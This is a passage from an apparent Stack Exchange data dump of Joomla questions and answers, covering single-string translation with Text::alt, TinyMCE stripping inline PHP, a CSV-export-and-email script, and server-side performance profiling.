for the task.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_component/language/af-ZA/af-ZA.com_component.ini&#xA;components/com_component/language/en-GB/en-GB.com_component.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my tests, I loaded the af-ZA language pack for Joomla. The JText translates correctly if I change my user profile to af-ZA, but then everything is translated to af-ZA -- not just the string I want translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope is to find a reliable Joomla technique that uses best practice. If it is not possible, I will write my own translation code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a component behind login on the front part of a client Joomla website. The logged in user can choose a language on an activity that will generate a unique URL with content; the unique URL must show the content in the correct language. The viewer of the content (receiver of the url) won't be logged in for me to get the user language. The rest of the website stays in the default language. I just want the content to be in the language specified in the url.&lt;/p&gt;&#xA;" OwnerUserId="11554" LastEditorUserId="12352" LastEditDate="2019-06-11T11:00:55.157" LastActivityDate="2019-06-11T11:00:55.157" Title="Translate only one string in component rest of component stay with default language" Tags="|joomla-3.x|url|multilingual|translation|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24723" PostTypeId="1" AcceptedAnswerId="24724" CreationDate="2019-05-25T21:04:43.113" Score="2" ViewCount="70" Body="&lt;p&gt;I need to stop Joomla from converting PHP code to a comment (or otherwise disabling it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied a working page with a basic [directory listing] function, and the duplicate wouldn't work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am nearly positive Joomla is &quot;intelligently&quot; modifying the PHP to disable it--how can I stop this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;X/Y Problem:&lt;/strong&gt;&#xA;A working extension to list directory contents would sidestep this issue, because that's really what I need--though I'd prefer to also learn what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I periodically provide updates for a site (Joomla 2.5) I neither own nor host.  I've recommended we update or rebuild it, so far a non-option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know much PHP.  However the below code polls a given directory and links the files.  The customer has backend access and can quickly distribute information via this page, uploading PDF files as required and removing the obsolete ones.  Simple for the customer and works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday she requested a new page for a different category of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a separate directory for the new page (Turnover) and updated the copied code to reflect this.  The original page (Output) worked fine, but the duplicate page was blank except for title.  I took a step back but not even the unmodified copy would work on the new page--though it still worked on the old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before realizing the PHP was not even being executed, I verified that &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The articles are identical except by title and index number&lt;/li&gt;&#xA;&lt;li&gt;Permissions on the new directory match the original AFAICT&lt;/li&gt;&#xA;&lt;li&gt;It's not file, filename, or size (new file immediately worked in the old directory)&lt;/li&gt;&#xA;&lt;li&gt;Also created a second duplicate page to rule out human error&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since one page works and another doesn't, it's clearly not an incompatibility between Joomla and PHP versions, and most likely not a server misconfiguration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page source on the broken page show the PHP as a comment; the working page served working links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file1&#xA;file2&#xA;file3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After extended troubleshooting, I altered &lt;em&gt;only the title&lt;/em&gt; of the original page--and it subsequently failed.  I now have two pages that won't work, meaning the customer will need to upload files and then wait until I can log in and manually create individual links.  Then she'll wait again when I remove old ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have shell access, nor to backups, if they even exist.  I learned last night that Joomla lacks a revision history.  I normally use Wordpress, and this hasn't convinced me to switch.  :,/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the issue is with Joomla and not the code itself.  Code examples I've seen begin with &lt;code&gt;&amp;lt;?php&lt;/code&gt; (and not &lt;code&gt;&amp;lt;!--?php&lt;/code&gt;), but my assumption that this is the sole issue could be wrong.  When I manually remove those three characters, the code is simply converted to text as part of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is exactly how I first saw it in the HTML editor (without the HTML editor I don't even see the PHP at all).  Joomla adds the paragraph tags automatically and converts &amp;lt;b&amp;gt; tags to &amp;lt;strong&amp;gt;.&#xA;(I checked page source of both pages before and after I broke the original page).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Output&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;!--?php &#xA;//path to directory to scan&#xA;$directory = &quot;images/download/output/&quot;;&#xA;$files = glob($directory . &quot;*.pdf&quot;);&#xA;array_multisort(array_map( 'filemtime', $files ),SORT_NUMERIC,SORT_DESC,$files);&#xA;&#xA;//print each file name&#xA;foreach($files as $f) {&#xA;  $path_parts = pathinfo($f);&#xA;  echo '&amp;amp;lt;p&amp;amp;gt;&amp;amp;lt;a href=&quot;'.$f.'&quot;&amp;amp;gt;'.$path_parts['filename'].'&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;';&#xA;}&#xA;?--&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(thanks to the mod who migrated for me--I should've checked to see if there was a Joomla stack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a busy weekend already underway, fixing this is pretty important--thanks for any help/advice offered.  I figured this should take fifteen or twenty minutes--but I've burned hours on it.&lt;/p&gt;&#xA;" OwnerUserId="13564" OwnerDisplayName="zedmelon" LastEditorUserId="13564" LastEditDate="2019-05-28T13:58:10.327" LastActivityDate="2019-05-28T13:58:10.327" Title="How to stop Joomla 2.5 from disabling PHP" Tags="|php|joomla-2.5|editor|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24724" PostTypeId="2" ParentId="24723" CreationDate="2019-05-25T22:13:05.900" Score="3" Body="&lt;p&gt;FIXED:&#xA;The culprit was a personal editor choice set in the user profile section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4sGIe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4sGIe.png&quot; alt=&quot;Screenshot: User Profile Editor Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed this to &lt;code&gt;Editor - None&lt;/code&gt;, resubmitted the disobedient code (without comment tags), and it worked like a charm!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly the user who created the original article did not use the TinyMCE, but my account had that selected.  I did not create the user account I'm using--though I suspect I wouldn't have noticed this anyway and would still likely have found myself in the same boat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that TinyMCE was editing the code &lt;em&gt;before&lt;/em&gt; I opened it, rather than as I was submitting/saving the post.  The PHP was converted to a comment up front, and since I'm a PHP n00b it didn't stand out to me like it should've.  I duplicated a comment I assumed was code, and I lacked the programming chops to recognize that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm glad it was something simple, but holy smokes this had me barking up the wrong tree for awhile!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note for posterity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has similar symptoms (but is not the same) as assigning text filters in the &lt;code&gt;global config&lt;/code&gt;, which imposes filters upon user groups based on type/class: administrator, editor, publisher, et cetera (Neil's answer covers this and some alternate approaches).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above screenshot is personal preference (in my own &lt;code&gt;user profile&lt;/code&gt;) offered to a user with administrator/super user status.  I expect all users get some choices, but they may not match these--and of course newer Joomla versions may differ.&lt;/p&gt;&#xA;" OwnerUserId="13564" LastEditorUserId="13564" LastEditDate="2019-05-27T18:56:06.547" LastActivityDate="2019-05-27T18:56:06.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24725" PostTypeId="2" ParentId="15631" CreationDate="2019-05-25T22:45:44.697" Score="0" Body="&lt;p&gt;&lt;code&gt;die()&lt;/code&gt; is what is prematurely killing your script, yes, but &lt;strong&gt;there are other critical issues to fix&lt;/strong&gt; -- not only so that your design works as intended, but so that copy-paste developers are using the correct techniques. First my recommended script, then some explanations and logical advice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;product_sku&quot;)&#xA;            -&amp;gt;from(&quot;#__virtuemart_products&quot;)&#xA;            -&amp;gt;where(&quot;created_on &amp;gt;= CURDATE()&quot;); // SKUs created since today (Y-m-d 00:00:00)&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$filename = '/home/#####/public_html/new_products/new.csv';&#xA;if (!$result = $db-&amp;gt;loadRowList()) {  // generate indexed array of indexed arrays or null&#xA;    $subject = &quot;No Records Today&quot;;&#xA;} else {&#xA;    $subject = &quot;New Products Added Today&quot;;&#xA;    if (!$fp = fopen($filename, 'w+')) {  // no need to delete file beforehand&#xA;        $attachment = false;&#xA;    } else {&#xA;        $attachment = true;&#xA;        fputcsv($fp, ['Product SKUs']);  // write the known header value&#xA;        foreach ($result as $row) {&#xA;            fputcsv($fp, $row);  // single element array in this case&#xA;        }&#xA;        fclose($fp);  // never forget this step&#xA;    }&#xA;}&#xA;&#xA;//Send file to admin&#xA;$mailer = JFactory::getMailer();&#xA;$config = JFactory::getConfig();&#xA;$sender = [&#xA;    $config-&amp;gt;get('mailfrom'),&#xA;    $config-&amp;gt;get('fromname') &#xA;];&#xA;$mailer-&amp;gt;setSender($sender);&#xA;&#xA;$user = JFactory::getUser();&#xA;$recipient = 'name@email.com';&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;$body   = &quot;Your body string\nin double quotes if you want to parse the \newlines etc&quot;;&#xA;$mailer-&amp;gt;setSubject($subject);&#xA;$mailer-&amp;gt;setBody($body);&#xA;&#xA;if ($attachment) {&#xA;    // Optional file attached&#xA;    $mailer-&amp;gt;addAttachment($filename);&#xA;}&#xA;&#xA;$send = $mailer-&amp;gt;Send();&#xA;&#xA;if ( $send !== true ) {&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;} else {&#xA;    echo 'Mail sent';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your query is returning a result set of data comprised of &quot;All SKUs which have a &lt;code&gt;create_on&lt;/code&gt; datetime stamp which is before the current datetime stamp&quot;.  Well, unless your project affords the ability to INSERT a row and assign a &lt;code&gt;create_on&lt;/code&gt; datetime that is &quot;in the future&quot;, your SELECT query will be returning ALL SKUs in your database table because that is what &lt;code&gt;created_on &amp;lt;= NOW()&lt;/code&gt; (&lt;a href=&quot;http://www.mysqltutorial.org/mysql-now/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mysqltutorial.org/mysql-now/&lt;/a&gt;) does.&lt;br&gt;&lt;br&gt;Instead, isolate &lt;a href=&quot;https://w3resource.com/mysql/date-and-time-functions/mysql-date-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Y-m-d portion of each row's &lt;code&gt;created_on&lt;/code&gt; value&lt;/a&gt; and match that against &lt;a href=&quot;https://www.w3resource.com/mysql/date-and-time-functions/mysql-curdate-function.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;the current date&lt;/a&gt; to collect only the SKUs that were created today. More efficiently than removing all of time substrings from your timestamps, you can just check if the timestamp is equal to or greater than the start of today. This is what my snippet now does.&lt;/li&gt;&#xA;&lt;li&gt;Because you are only seeking the &lt;code&gt;product_SKU&lt;/code&gt; column values, I don't think I would bother writing a dynamic &lt;code&gt;$headers&lt;/code&gt; process; just hardcode &lt;code&gt;Product SKU&lt;/code&gt; into the first line of your csv file.  Granted, if you are &lt;em&gt;actually&lt;/em&gt; generating a multi-column csv, your process is fine -- just change my &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadRowList.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadRowList()&lt;/a&gt; to &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#loadAssocList.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadAssocList()&lt;/a&gt; and use your looping step.&lt;/li&gt;&#xA;&lt;li&gt;There is no need to preemptively delete the filename from the chosen directory if you call &lt;a href=&quot;https://www.php.net/manual/en/function.fopen.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;fopen()&lt;/a&gt; with &lt;code&gt;w+&lt;/code&gt; as the second parameter -- this will seamlessly overwrite a pre-existing file IF there is one, otherwise it will just create the file.  Effectively, you can remove the whole hunk of deletion code; and for the record, &lt;code&gt;array_map('unlink', glob(&quot;/home/#####/public_html/new_products/new.csv&quot;));&lt;/code&gt; doesn't make sense because there can only either be zero or one of the filename, so you could have more easily called &lt;code&gt;unlink(&quot;/home/#####/public_html/new_products/new.csv&quot;)&lt;/code&gt;.  ...but, again, just scrap this whole section.  Remember to &lt;strong&gt;ALWAYS&lt;/strong&gt; &lt;a href=&quot;https://www.php.net/manual/en/function.fclose.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;fclose()&lt;/a&gt; after calling &lt;code&gt;fopen()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.die.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;die;&lt;/a&gt; is something that developers use to halt the execution of a script at a certain point to test functionality up to that point so that they can assess the processes without executing the script that follows.  While testing the creation of the csv file, it would have made sense to not fill the recipient's inbox with test files.  Once you have determined that that leading portion of code is working as desired, the &lt;code&gt;die&lt;/code&gt; line should be removed so that the rest of the script can run.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.fputcsv.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;fputcsv()&lt;/a&gt; is &quot;key-ignorant&quot; so you don't need to bother calling &lt;a href=&quot;https://www.php.net/manual/en/function.array-values.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;array_values()&lt;/a&gt; (which assigns new indexes to an array) -- just feed the row data to the function calls.&lt;/li&gt;&#xA;&lt;li&gt;It is possible that your clients will have a slow business day and add no new product.  For this reason, I feel it is more sensible to make this distinction in the email Subject and avoid sending an empty csv file.  My script using &lt;code&gt;$subject&lt;/code&gt; and &lt;code&gt;$attachment&lt;/code&gt; to enable this kind of execution.  So now, &lt;code&gt;setSubject()&lt;/code&gt; receives a variable and &lt;code&gt;addAttachment()&lt;/code&gt; is conditionally performed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-26T02:56:23.940" LastActivityDate="2019-05-26T02:56:23.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24726" PostTypeId="5" CreationDate="2019-05-26T00:39:12.060" Score="0" Body="&lt;p&gt;TinyMCE is a web-based JavaScript HTML WYSIWYG editor available as open source and a cloud-based API. Learn more at &lt;a href=&quot;https://www.tiny.cloud/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tiny.cloud/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Documentation: &lt;a href=&quot;https://docs.joomla.org/Content_editors&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Content_editors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-31T07:04:15.787" LastActivityDate="2019-05-31T07:04:15.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24727" PostTypeId="4" CreationDate="2019-05-26T00:39:12.060" Score="0" Body="TinyMCE is the default editor in Joomla for both front-end and back-end users." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-31T07:04:24.703" LastActivityDate="2019-05-31T07:04:24.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24728" PostTypeId="2" ParentId="24722" CreationDate="2019-05-26T10:09:09.830" Score="2" Body="&lt;p&gt;There is an alt method of the Text class that appears to allow you display translations in another language, &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Text.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Text.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example is not overly , or barely, explanatory enough for me but the description indicates it will use the same Constant and translate it into a different languages. Looking at the class itself doesn't really make it any clearer to me either, maybe someone else can explain how it works or if it might be useful. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Translates a string into the current language.&#xA; *&#xA; * Examples:&#xA; * `&amp;lt;?php echo Text::alt('JALL', 'language'); ?&amp;gt;` will generate a 'All' string in English but a &quot;Toutes&quot; string in French&#xA; * `&amp;lt;?php echo Text::alt('JALL', 'module'); ?&amp;gt;` will generate a 'All' string in English but a &quot;Tous&quot; string in French&#xA; *&#xA; * @param   string   $string                The string to translate.&#xA; * @param   string   $alt                   The alternate option for global string&#xA; * @param   mixed    $jsSafe                Boolean: Make the result javascript safe.&#xA; * @param   boolean  $interpretBackSlashes  To interpret backslashes (\\=\, \n=carriage return, \t=tabulation)&#xA; * @param   boolean  $script                To indicate that the string will be pushed in the javascript language store&#xA; *&#xA; * @return  string  The translated string or the key if $script is true&#xA; *&#xA; * @since   1.7.0&#xA; */&#xA;public static function alt($string, $alt, $jsSafe = false, $interpretBackSlashes = true, $script = false)&#xA;{&#xA;    if (Factory::getLanguage()-&amp;gt;hasKey($string . '_' . $alt))&#xA;    {&#xA;        $string .= '_' . $alt;&#xA;    }&#xA;&#xA;    return static::_($string, $jsSafe, $interpretBackSlashes, $script);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any examples or other references to it being used, but maybe it can be of use to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... a day later....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played with the Alt option to try and figure out how it works and this is what I have come up with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your Language .ini or an Override you set your Constants, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_FRED_GREETING='Hello'&#xA;COM_FRED_GREETING_BARNEY='Yo, Buddy'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your extension you change your text to translate code from the default underscore to 'alt'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo Text::_('COM_FRED_GREETING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo Text::alt('COM_FRED_GREETING',$some_var);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you set $some_var = 'Wilma' you use the default translate and the output is 'Hello' because it couldn't find a Key to translate called COM_FRED_GREETING_WILMA=''&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set $some_var = 'Barney' then it gets concatenated to the Constant as COM_FRED_GREETING_BARNEY and it matches a Key and the String is translated to 'Yo, Buddy'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the original question they could use something like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_CUSTOM_TEXT='Good Morning'&#xA;COM_CUSTOM_TEXT_ZA='Mwauka bwanji'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$alt = ''&#xA;echo Text::alt('COM_CUSTOM_TEXT',$alt);&#xA;$alt = 'za'&#xA;echo Text::alt('COM_CUSTOM_TEXT',$alt);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-05-29T11:13:30.687" LastActivityDate="2019-05-29T11:13:30.687" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24729" PostTypeId="2" ParentId="24721" CreationDate="2019-05-26T10:21:59.897" Score="1" Body="&lt;p&gt;The view is created from the code in ..\administrator\components\com_menus\views\item\tmpl starting with edit.php and your particular tab would be edit_modules.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got there by decoding your URL, &lt;strong&gt;administrator&lt;/strong&gt;/index.php?option=&lt;strong&gt;com&lt;/strong&gt;_&lt;strong&gt;menus&lt;/strong&gt;&amp;amp;view=&lt;strong&gt;item&lt;/strong&gt;&amp;amp;client_id=0&amp;amp;layout=&lt;strong&gt;edit&lt;/strong&gt;&amp;amp;id=101 and knowing it would be under /components and /tmpl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does use code from the ..\item directory above it and other places but as posted by @mickmackusa unless you provide more context in the question I cannot be sure if this is enough information for you or if you already knew this.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-05-26T10:21:59.897" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24730" PostTypeId="1" AcceptedAnswerId="24741" CreationDate="2019-05-26T11:08:58.180" Score="2" ViewCount="118" Body="&lt;p&gt;I am wondering if where is a option to measure the joomla performance on the api level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this (afaik it is profiling)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time:  56.14 ms /  56.14 ms     Memory: 0.593 MB /  0.81 MB     afterLoad   &#xA;Time: 149.40 ms / 205.54 ms     Memory: 3.671 MB /  4.48 MB     afterlnitialise     &#xA;Time:  30.41 ms / 235.95 ms     Memory: 1.479 MB /  5.96 MB     afterRoute  &#xA;Time:  22.22 ms / 258.17 ms     Memory: 0.513 MB /  6.47 MB     beforeRenderComponent com_content   &#xA;Time: 141.23 ms / 399.40 ms     Memory: 3.234 MB /  9.70 MB     afterRenderComponent com_content    &#xA;Time:   4.63 ms / 404.03 ms     Memory: 0.155 MB /  9.86 MB     afterDispatch   &#xA;Time:  13.57 ms / 417.59 ms     Memory: 0.269 MB / 10.13 MB     beforeRenderModule mod_menu (Main Menu)     &#xA;Time:  14.40 ms / 431.99 ms     Memory: 0.158 MB / 10.29 MB     afterRenderModule mod_menu (Main Menu)  &#xA;Time:   0.37 ms / 432.36 ms     Memory: 0.000 MB / 10.28 MB     beforeRenderModule mod_menu (All Front End Views)   &#xA;Time:  37.42 ms / 469.79 ms     Memory: 0.220 MB / 10.50 MB     afterRenderModule mod_menu (All Front End Views)    &#xA;Time:   0.17 ms / 469.96 ms     Memory: 0.000 MB / 10.50 MB     beforeRenderModule mod_menu (A Deep Menu)   &#xA;Time:   2.52 ms / 472.48 ms     Memory: 0.016 MB / 10.51 MB     afterRenderModule mod_menu (A Deep Menu)    &#xA;Time:   0.12 ms / 472.60 ms     Memory: 0.000 MB / 10.51 MB     beforeRenderModule mod_menu (This Site)     &#xA;Time:   3.16 ms / 475.76 ms     Memory: 0.009 MB / 10.52 MB     afterRenderModule mod_menu (This Site)  &#xA;Time:   0.10 ms / 475.86 ms     Memory: 0.000 MB / 10.51 MB     beforeRenderModule mod_login (Login Form)   &#xA;Time:  24.71 ms / 500.58 ms     Memory: 0.570 MB / 11.08 MB     afterRenderModule mod_login (Login Form)    &#xA;Time:   0.32 ms / 500.89 ms     Memory: 0.001 MB / 11.08 MB     beforeRenderModule mod_breadcrumbs (Breadcrumbs)    &#xA;Time:   4.11 ms / 505.00 ms     Memory: 0.057 MB / 11.11 MB     afterRenderModule mod_breadcrumbs (Breadcrumbs)     &#xA;Time:   0.47 ms / 505.48 ms     Memory: 0.000 MB / 11.11 MB     beforeRenderModule mod_menu (All Modules)   &#xA;Time:  20.33 ms / 525.80 ms     Memory: 0.120 MB / 11.23 MB     afterRenderModule mod_menu (All Modules)    &#xA;Time:   0.16 ms / 525.96 ms     Memory: 0.000 MB / 11.22 MB     beforeRenderModule mod_syndicate (Syndicate Feeds)  &#xA;Time:   2.18 ms / 528.14 ms     Memory: 0.014 MB / 11.23 MB     afterRenderModule mod_syndicate (Syndicate Feeds)   &#xA;Time:   0.16 ms / 528.30 ms     Memory: 0.000 MB / 11.23 MB     beforeRenderModule mod_tags_similar (Similar Tags 2)    &#xA;Time:   9.84 ms / 538.14 ms     Memory: 0.169 MB / 11.40 MB     afterRenderModule mod_tags_similar (Similar Tags 2)     &#xA;Time:   0.61 ms / 538.74 ms     Memory: 0.000 MB / 11.40 MB     beforeRenderModule mod_menu (Top)   &#xA;Time:   4.87 ms / 543.61 ms     Memory: 0.025 MB / 11.42 MB     afterRenderModule mod_menu (Top)    &#xA;Time:   0.22 ms / 543.83 ms     Memory: 0.000 MB / 11.41 MB     beforeRenderModule mod_search (Search)  &#xA;Time:   4.13 ms / 547.96 ms     Memory: 0.026 MB / 11.44 MB     afterRenderModule mod_search (Search)   &#xA;Time:   5.43 ms / 553.39 ms     Memory: 0.139 MB / 11.58 MB     afterRender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ihMpH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihMpH.jpg&quot; alt=&quot;overall exec time and memory usage&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to be clear, here I do not reference how to measure the remote calls via http, which are obvious to do with browsers dev tools or with any network performance measuring tool. Here is the internal measuring of the joomla on the server via php or joomla means ment.&#xA;Afaik it has the same naming as in different languages: I would like to be able to profile a running joomla instance. But how?&lt;/p&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="13241" LastEditDate="2019-05-28T08:13:19.087" LastActivityDate="2019-05-28T08:25:55.203" Title="How to measure server performance in joomla (not from outside)?" Tags="|joomla-api|performance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24731" PostTypeId="2" ParentId="24723" CreationDate="2019-05-27T00:14:47.113" Score="1" Body="&lt;p&gt;As you have found, Joomla filters content to control the HTML content authors submit for security and maybe other reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change Text Filter options for each user group in the Global Configuration but I think most editors filter out PHP code anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways around this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disable the Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Temporarily changing your user settings to use no editor is a good approach as no additional third party extensions are needed, although (as you have found) content authors who come along later and edit the content may be in for a surprise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Extension to List Directory Contents&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install a third party extension to list the contents of a folder. I tend to use the free or the paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/easy-folder-listing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Folder Listing&lt;/a&gt; and there are others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Extension to Retain PHP Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install a third party extension that allows PHP code to be retained without disabling your editor. I tend to use &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; and there are others.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-05-27T00:14:47.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24732" PostTypeId="1" CreationDate="2019-05-27T09:26:59.737" Score="0" ViewCount="27" Body="&lt;p&gt;i have one doubt / question and don't know how to solve it:&#xA;Imagine you have a subform-field with the multiple-parameter active to add multiple content-blocks, now, the thing is, in real life there are many cases where not every block has the same content / fields.&#xA;I want to achieve the following:&#xA;To have a select or something else, wich can show / hide fields dynamically with javascript in the backend.&#xA;So if the user for instance selects &quot;Content type A&quot; within that select field, certain fields will be shown, if he selects &quot;Content type B&quot;, other fields are visible.&#xA;If paired with a subform, you could add as many blocks as you want, with each block with selectable content-type with different fields.&#xA;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Best regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]:&#xA;Ok, some example code, lets say you have a subform field:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;  type=&quot;subform&quot;&#xA;  name=&quot;blocks&quot;&#xA;  formsource=&quot;...&quot;&#xA;  multiple=&quot;true&quot;&#xA;  label=&quot;My repeatable blocks&quot; 